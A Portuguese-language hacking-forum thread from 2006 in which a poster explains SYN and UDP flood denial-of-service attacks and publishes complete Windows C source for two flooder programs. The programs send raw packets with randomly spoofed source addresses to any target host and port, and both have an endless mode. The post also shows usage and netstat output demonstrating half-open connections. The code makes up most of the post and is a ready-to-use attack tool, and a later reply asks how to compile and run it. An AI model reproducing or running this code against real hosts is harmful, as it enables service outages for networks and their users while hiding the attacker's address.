SynFlooder + UdpFlooder - C

Started by Dark_Side, 23 de December , 2006, 03:40:38 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,

Estou acordado há exatamente 19 horas, 21 minutos e alguns segundos...
Antes de ir cortar o cabelo e dormir, irei postar dois programinhas que havia feito há alguns dias atrás mas esqueci de postá-los.

Bem, estava brincando um pouco com raw sockets e escrevi um SynFlooder e um UDPFlooder, ambos utilizando a técnica SPOOF - que consiste em forjar o endereço de origem de um pacote.

Posso estar enganado, mas acho que o código irá funcionar apenas no Windows 2000 e XP (com exceção do SP2).

Lolz, segundo a Microsoft, foi retirado o suporte a raw sockets do Service Pack 2 do sistema operacional, pois acreditam que apenas aplicativos maliciosos, como programas para DoS/DDoS, por exemplo, eram criados com este recurso - como se isso ajudasse muito 8-)

Parece que no Windows XP Sp2, não podem ser enviados datagramas (UDP) com endereço de origem inválido e dados TCP também com endereços inválidos. No entanto, quanto à especifição acima, não tenho certeza que, enviando um pacote TCP apenas com a flag SYN (início de uma conexão) sem dados, possamos ter êxito - até porque não possuo o SP 2 disponível para testar...

Estive lendo algo a respeito, em fórum, e um usuário disse que era possível habilitar o suporte a raw sockets no SP2 desativando o firewall do windows e o serviço Conexão Firewall de conexão com a Internet / Compartilhamento de conexão com a Internet.

Muito bem, ambos os códigos foram escritos na linguagem C. Irei postar primeiro o código do SynFlooder.

Esta técnica consiste em gerar uma grande quantidade de pedidos de conexão a host, especificando a flag SYN no cabeçalho TCP. Em situação normal, uma conexão é estabelecida da seguinte forma:

1) Um computador envia um pacote TCP com a flag SYN
2) O computador remoto envia um pacote TCP com as flags SYN e ACK
3) O cliente envia um pacote TCP com a flag ACK ativa, e então, a conexão é estabelecida.

Este processo, por ter três etapas, é denominado Three-Way HandShake.

Quando enviamos um pacote TCP com um endereço forjado, temos a seguinte ocasião:

QuoteCliente -----------------> Servidor (1)
Cliente <----------------  Servidor (2)
Cliente ?????????????????  Servidor (3)

1) Cliente envia flag SYN
2) O servidorenvia as flags SYN+ACK
3) O servidor aguarda pela flag ACK oriunda do cliente para que a conexão possa ser estabelecida. Porém, esta nunca chega... triste =(

Acima, o Three-Way HandShake não foi executado com êxito, justamente pois o endereço IP do cliente é inválido.

Vamos supor que o cliente use o ip 1.2.3.4 para enviar o pacote para o servidor. Este último, ao receber o pacote com a flag SYN, enviará para "1.2.3.4" um outro pacote (SYN+ACK) e aguardará pelo pacote de resposta (ACK) vindo do IP "1.2.3.4".
 
Porém "1.2.3.4" não é um IP válido, portanto, o pacote com a flag ACK nunca chegaria ao servidor. Se uma determinada quantidade de pacotes com IP's forjados for enviada para o host, até que este se dê conta do fato e retire os pedidos da tabela de conexão por TimeOut (Tempo limite esgotado) muito tempo seria tomando, impedindo a conexão legítima de outros usuários.

Lolz, veja um exemplo do uso:

Quotesyn localhost 21 5

Enviando de 132.190.35.41 para 127.0.0.1 porta 21

Enviando de 82.174.214.108 para 127.0.0.1 porta 21

Enviando de 187.241.241.73 para 127.0.0.1 porta 21

Enviando de 219.166.179.235 para 127.0.0.1 porta 21

Enviando de 153.62.12.135 para 127.0.0.1 porta 21


 >> Concluido <<

O programa enviaria 5 pacotes TCP com a flag SYN para a porta 21 de "localhost".

Muito bem, utilizando o netstat, vejamos o que ocorre:

QuoteTCP    127.0.0.1:21           82.174.214.108:1234    SYN_RECEIVED
 TCP    127.0.0.1:21           132.190.35.41:1234     SYN_RECEIVED
 TCP    127.0.0.1:21           153.62.12.135:1234     SYN_RECEIVED
 TCP    127.0.0.1:21           187.241.241.73:1234    SYN_RECEIVED
 TCP    127.0.0.1:21           219.166.179.235:1234   SYN_RECEIVED

Veja os endereços que enviaram pedidos de conexão à porta 21:

Quote82.174.214.108
132.190.35.41
153.62.12.135
187.241.241.73
219.166.179.235

É importante notar que, os endereços acima, podem ser VÁLIDOS. Mas independente disso, nenhum deles enviou, de fato, um pacote TCP (SYN) para a porta 21 do host, e por isso, o computador alvo ficaria aguardando o pacote de resposta (ACK) de cada endereço acima - e como se previa, nenhum irá chegar.

O status SYN_RECEIVED mostra que foi recebido o pacote SYN do endereço IP listado, porém não foi recebido o pacote com a flag ACK - assinalado pelo status LAST_ACK.

Durante esse tempo de espera - até que o pedido seja retirado por time out - conexões legítimas não seriam aceitas:

Quotetelnet localhost 21

O console abre e fecha imediatamente, ao invés de exibir o terminal de conexão =)

A quantidade de pacotes necessária para que tal ocorra, depende muito do teto de conexões, isto é, o número de conexões que o host pode suportar =)


Bem, antes de postar o código dos programas, irei postar o código do header comum aos dois:

protohdr.h#ifndef _WINSOCK2_H // Inclui o header "winsock2.h" se necessário
#include <winsock2.h>
#endif

#ifndef _WS2TCPIP_H // Inclui o header "ws2tcpip.h" se necessário
#include <ws2tcpip.h>
#endif

// Cabeçalho IP
struct iphdr {
 unsigned char ip_hl:4, ip_v:4;
 unsigned char ip_tos;
 unsigned short int ip_len;
 unsigned short int ip_id;
 unsigned short int ip_off;
 unsigned char ip_ttl;
 unsigned char ip_p;
 unsigned short int ip_sum;
 struct in_addr ip_src;
 struct in_addr ip_dst;
};

// Cabeçalho UDP
struct tcphdr {
 unsigned short int th_sport;
 unsigned short int th_dport;
 unsigned int       th_seq;
 unsigned int       th_ack;
 unsigned char      th_x2:4, th_off:4;
 unsigned char      th_flags;
 unsigned short int th_win;
 unsigned short int th_sum;
 unsigned short int th_urp;
};

// Cabeçalho PSEUDO
struct pseudohdr {
    unsigned long  saddr, daddr;
    unsigned char  mbz, ptcl;
    unsigned short plen;
};

// Cabeçalho UDP
struct udphdr {
    unsigned short uh_sport;
    unsigned short uh_dport;
    unsigned short uh_len;
    unsigned short uh_sum;
};

// Cabeçalho ICMP
struct icmphdr {
    unsigned int   ih_code:4, ih_type:4;
    unsigned short ih_sum;
    unsigned short ih_id;
    unsigned short ih_seq;
};


#define IPTAM sizeof(struct iphdr)    // Tamanho da estrutura IP
#define TCPTAM sizeof(struct tcphdr)  // Tamanho da estrutura TCP
#define UDPTAM sizeof(struct udphdr)  // Tamanho da estrutura UDP
#define ICMPTAM sizeof(struct icmphdr)// Tamanho da estrutura ICMP
#define PSTAM sizeof(struct pseudohdr)// Tamanho da estrutura PSEUDO


// Função para cálculo de checksum
unsigned short cksum(unsigned short *buf, int nbytes)
{
unsigned long sum;
unsigned short oddbyte;

sum = 0;
while (nbytes > 1) {
sum += *buf++;
nbytes -= 2;
}

if (nbytes == 1) {
oddbyte = 0;
*((unsigned short *) &oddbyte) = *(unsigned short *) buf;
sum += oddbyte;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);


return (unsigned short) ~sum;
}

Vejamos o código do SynFlood:

syn.c
// Compile-o linkando com "ws2_32"

#include <stdio.h>       // entrada e saída padrozinadas
#include <conio.h>       // getch()
#include <stdlib.h>      // alocação dinâmica, conversões, etc
#include <winsock2.h>    // header do winsock2
#include <ws2tcpip.h>    // constantes -> TCP/IP
#include "protohdr.h"    // constantes e estruturas -> cabeçalhos de protocolos


// Variáveis do winsock
 WSADATA wsa;
 SOCKET sock;
 struct sockaddr_in dest;
 struct in_addr addr;
 struct hostent * host = NULL;
 int opt = 1;

// Ponteiro para estruturas de cabeçalhos
struct pseudohdr *  pseudo = NULL;
struct tcphdr  *  tcp  = NULL;
struct iphdr * ip  = NULL;


char  cabecalho_tcp[1024]; // Buffer -> tcp
char  pacote[4096]; // Pacote a enviar

// Argumentos
unsigned long host_addr;
unsigned long porta = 0;
unsigned long num = 0;

// Inicializa o WINSOCK e cria um socket RAW
int inicializar()
{

   
    if(WSAStartup(MAKEWORD(2,2),&wsa) == SOCKET_ERROR)
       return 0;                                         
   
    if((sock = WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)) == SOCKET_ERROR)
       return 0;

    if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(const char*)&opt,sizeof(opt)) == SOCKET_ERROR)
       return 0;

return 1;
}

// Função para o envio do pacote
void envia_pacote(struct in_addr addr, long porta)
{
     
    pseudo = (struct pseudohdr *)cabecalho_tcp;       // Estrutura pseudo aponta para o início do buffer
    tcp    = (struct tcphdr*)(cabecalho_tcp + PSTAM); // Estrutura tcp aponta para a próxima parte
   
    memset(cabecalho_tcp,0x0,PSTAM + TCPTAM); // Limpa buffer
   
    // Gera um endereço IP aleatório
    char ip_origem[0x10];
    snprintf(ip_origem,0x10,"%d.%d.%d.%d",rand() % 256,rand() % 256,rand() % 256,rand() % 256);
 
    // Ajusta pseudo header 
    pseudo->saddr = inet_addr(ip_origem); // origem
    pseudo->daddr = *(u_long*)&addr;      // destino
    pseudo->ptcl  = IPPROTO_TCP;          // protocolo
    pseudo->mbz   = 0;                    // ZERO
    pseudo->plen  = htons(TCPTAM);        // tamanho
   
    // Ajusta tcp header
    tcp->th_sport = htons (1234);  // porta de origem
    tcp->th_dport = dest.sin_port; // porta de destino
    tcp->th_seq   = htonl(rand());
    tcp->th_ack   = 0;
    tcp->th_x2    = 0;
    tcp->th_off   = 0;
    tcp->th_flags = 2; // SYN
    tcp->th_win   = htonl(65535);
    tcp->th_urp   = 0;

    tcp->th_sum = cksum((unsigned short *)cabecalho_tcp,PSTAM + TCPTAM); // Calcula checksum
   
    struct iphdr * ip = (struct iphdr*)pacote; // Estrutura ip aponta para o início do pacote
    memset(pacote,0x0,IPTAM + TCPTAM); // Limpa o pacote -> espaço ocupado pelo header IP+TCP

    // Ajusta ip header
    ip->ip_hl         = 5;
    ip->ip_v          = 4; // IPv4
    ip->ip_tos        = 0;
    ip->ip_len        = htons(IPTAM + TCPTAM);  // Tamanho
    ip->ip_id         = htons(12345);
    ip->ip_off        = 0;
    ip->ip_ttl        = 255;
    ip->ip_p          = IPPROTO_TCP;     // protocolo
    ip->ip_src.s_addr = pseudo->saddr;   // Endereço de origem
    ip->ip_dst.s_addr = pseudo->daddr;   // Endereço de destino

    ip->ip_sum  = cksum((unsigned short *)ip, IPTAM);  // Calcula checksum -> IP

    memcpy(pacote+IPTAM,cabecalho_tcp+PSTAM,TCPTAM); // Adiciona o cabeçalho TCP após o cabeçalho IP
   
    // Envia pacote
    sendto(sock,pacote,IPTAM + TCPTAM,0,(struct sockaddr*)&dest,sizeof(dest));
 
    printf("Enviando de %s para %s porta %ld\n\n",ip_origem,inet_ntoa(*(struct in_addr*)&addr),porta);
}

void envia_infinitos() // Envia pacotes inifinitos
{
     while(1)
       envia_pacote(addr,porta);         

}

void envia_qtde(int num) // Envia determinada quantidade de pacotes
{
     int i=1;
     for(;i<=num;i++)
        envia_pacote(addr,porta);
     
      puts("\n\n >> Concluido <<");               
}

int main(int argn, char**arg )
{
    if(argn != 4) // Verifica argumentos
    {     
           printf ("Uso: %s <alvo> <porta> <num> \n\n",strrchr(arg[0],'\\')+1);
           puts   ("ALVO  \t host para o qual os pacotes serao enviados.");
           puts   ("PORTA \t porta para a qual os pacotes serao enviados.");
           puts   ("NUM   \t numero de pacotes a enviar. Se 0 = infinitos.\n");
           system("pause");
           return 0; 
           }
           
   if(!inicializar()) // Tenta inicializar
   {
      printf("Ocorreu um erro ao inicializar o Winsock. ID: %d\n",WSAGetLastError());
      system("pause");
      return 1;}
     
    host = gethostbyname(arg[1]); // Tenta resolver host do alvo
    if(!host)
    {
     printf("Ocorreu um erro ao resolver o host. ID: %d\n",WSAGetLastError());
     system("pause");
     return 1; }
     
    // Armazena argumentos
     
    addr = *(struct in_addr*)host->h_addr; // Alvo
    porta = atol(arg[2]);                  // Porta
    num = atol(arg[3]);                    // Número de pacotes
   
    // Configura socket
    dest.sin_family = AF_INET;
    dest.sin_port = htons(porta);
    dest.sin_addr = addr;
   
    system("cls");
   
    if(!num) // num = 0
        envia_infinitos();
     else // num > 0
        envia_qtde(num);

WSACleanup(); // Encerra winsock
return 0;

}

O UDP Flood funciona de forma mais simples, pois o protocolo UDP não faz o uso do processo Three-Way Handshake. Este método consiste em enviar pacotes UDP para uma ou mais portas do host remoto, que, ao notar que um pacote UDP recebido não era esperado por nenhuma aplicação, envia para o computador que enviou tal pacote um outro pacote ICMP informando que o pacote não foi entregue com êxito.

É neste retorno que está o problema. Se o computador que envia tal pacote não tiver um endereço válido, o alvo enviaria pacotes ICMP para um destino também inválido, consumindo recursos e tempo de processamento. Isso iria depender da quantidade e velocidade com que os pacotes são enviados.

Segue o código do UDPFlooder:


udp.c
// Compile-o linkando com "ws2_32"

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include "protohdr.h"


 WSADATA wsa;
 SOCKET sock;
 struct sockaddr_in dest;
 struct in_addr addr;
 struct hostent * host = NULL;
 int opt = 1;

 
struct pseudohdr *  pseudo = NULL;
struct udphdr  *  udp  = NULL;
struct iphdr * ip  = NULL;

char  cabecalho_udp[1024];
char  pacote[4096];

unsigned long host_addr;
unsigned long porta = 0;
unsigned long num = 0;

int inicializar()
{

   
    if(WSAStartup(MAKEWORD(2,2),&wsa) == SOCKET_ERROR)
       return 0;                                         
   
    if((sock = WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)) == SOCKET_ERROR)
       return 0;

    if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(const char*)&opt,sizeof(opt)) == SOCKET_ERROR)
       return 0;

return 1;
}

void envia_pacote(struct in_addr addr, long porta)
{
     
    pseudo = (struct pseudohdr *)cabecalho_udp;
    udp    = (struct udphdr*)(cabecalho_udp + PSTAM);
   
    memset(cabecalho_udp,0x0,PSTAM + TCPTAM);
   
    char ip_origem[0x10];
    snprintf(ip_origem,0x10,"%d.%d.%d.%d",rand() % 256,rand() % 256,rand() % 256,rand() % 256);
 
    pseudo->saddr = inet_addr(ip_origem);
    pseudo->daddr = *(u_long*)&addr;
    pseudo->ptcl  = IPPROTO_UDP;
    pseudo->mbz   = 0;
    pseudo->plen  = htons(UDPTAM);
   
    udp->uh_sport = htons (1234);
    udp->uh_dport = dest.sin_port;
    udp->uh_len      = htons(UDPTAM);

    udp->uh_sum = cksum((unsigned short *)cabecalho_udp,PSTAM + UDPTAM);
   
    struct iphdr * ip = (struct iphdr*)pacote;
    memset(pacote,0x0,IPTAM +UDPTAM);

    ip->ip_hl         = 5;
    ip->ip_v          = 4;
    ip->ip_tos        = 0;
    ip->ip_len        = htons(IPTAM + UDPTAM);
    ip->ip_id         = htons(12345);
    ip->ip_off        = 0;
    ip->ip_ttl        = 255;
    ip->ip_p          = IPPROTO_UDP;
    ip->ip_src.s_addr = pseudo->saddr;
    ip->ip_dst.s_addr = pseudo->daddr;

    ip->ip_sum  = cksum((unsigned short *)ip, IPTAM);

    memcpy(pacote+IPTAM,cabecalho_udp+PSTAM,UDPTAM);
   
    sendto(sock,pacote,IPTAM + UDPTAM,0,(struct sockaddr*)&dest,sizeof(dest));
    printf("Enviando de %s para %s porta %ld\n\n",ip_origem,inet_ntoa(*(struct in_addr*)&addr),porta);
}

void envia_infinitos()
{
     while(1)
       envia_pacote(addr,porta);         

}

void envia_qtde(int num)
{
     int i=1;
     for(;i<=num;i++)
        envia_pacote(addr,porta);
     
      puts("\n\n >> Concluido <<");               
}

int main(int argn, char**arg )
{
    if(argn != 4)
    {     
           printf ("Uso: %s <alvo> <porta> <num> \n\n",strrchr(arg[0],'\\')+1);
           puts   ("ALVO  \t host para o qual os pacotes serao enviados.");
           puts   ("PORTA \t porta para a qual os pacotes serao enviados.");
           puts   ("NUM   \t numero de pacotes a enviar. Se 0 = infinitos.\n");
           system("pause");
           return 0; 
           }
           
   if(!inicializar())
   {
      printf("Ocorreu um erro ao inicializar o Winsock. ID: %d\n",WSAGetLastError());
      system("pause");
      return 1;}
     
    host = gethostbyname(arg[1]);
    if(!host)
    {
     printf("Ocorreu um erro ao resolver o host. ID: %d\n",WSAGetLastError());
     system("pause");
     return 1; }
     
    addr = *(struct in_addr*)host->h_addr;
    porta = atol(arg[2]);
    num = atol(arg[3]);
   
    dest.sin_family = AF_INET;
    dest.sin_port = htons(porta);
    dest.sin_addr = addr;
   
    system("cls");
   
    if(!num)
        envia_infinitos();
     else
        envia_qtde(num);

WSACleanup();
return 0;

}


Mais informações sobre as técnicas:

http://www.informabr.com.br/exploits.htm
http://pt.wikipedia.org/wiki/SYN_Flood
http://anml.iu.edu/ddos/types.html
http://www.iss.net/security_center/advi ... efault.htm
http://www.microsoft.com/brasil/securit ... mod75.mspx (lolz!)
http://www.javvin.com/networksecurity/U ... ttack.html


Lolz, vale lembrar que não estou incentivando o uso destes programas para fins que eu diria "sem sentido"  - para não me expressar de forma mais...  - embora saiba que existe essa possibilidade.

Bem, é isso...

Agora vou cortar o cabelo e ir dormir...

Bye.

Anonymous

Otimo topico...

Eu ja tinha lido sobre isso.,.. mais so tinha ideia da teoria...

Agora ja entendi mesmo..

Valeu ;D

Anonymous

cara ... tenho uma pergunta ... pra compilar é só pegar o código salvar como .c e compilar no compilador c né ? e usar como vc esplicou pelo DOS ? é issu msm ? vlw ae pela atençao e pelo tuto q tá mt maneru ! ;p

HadeS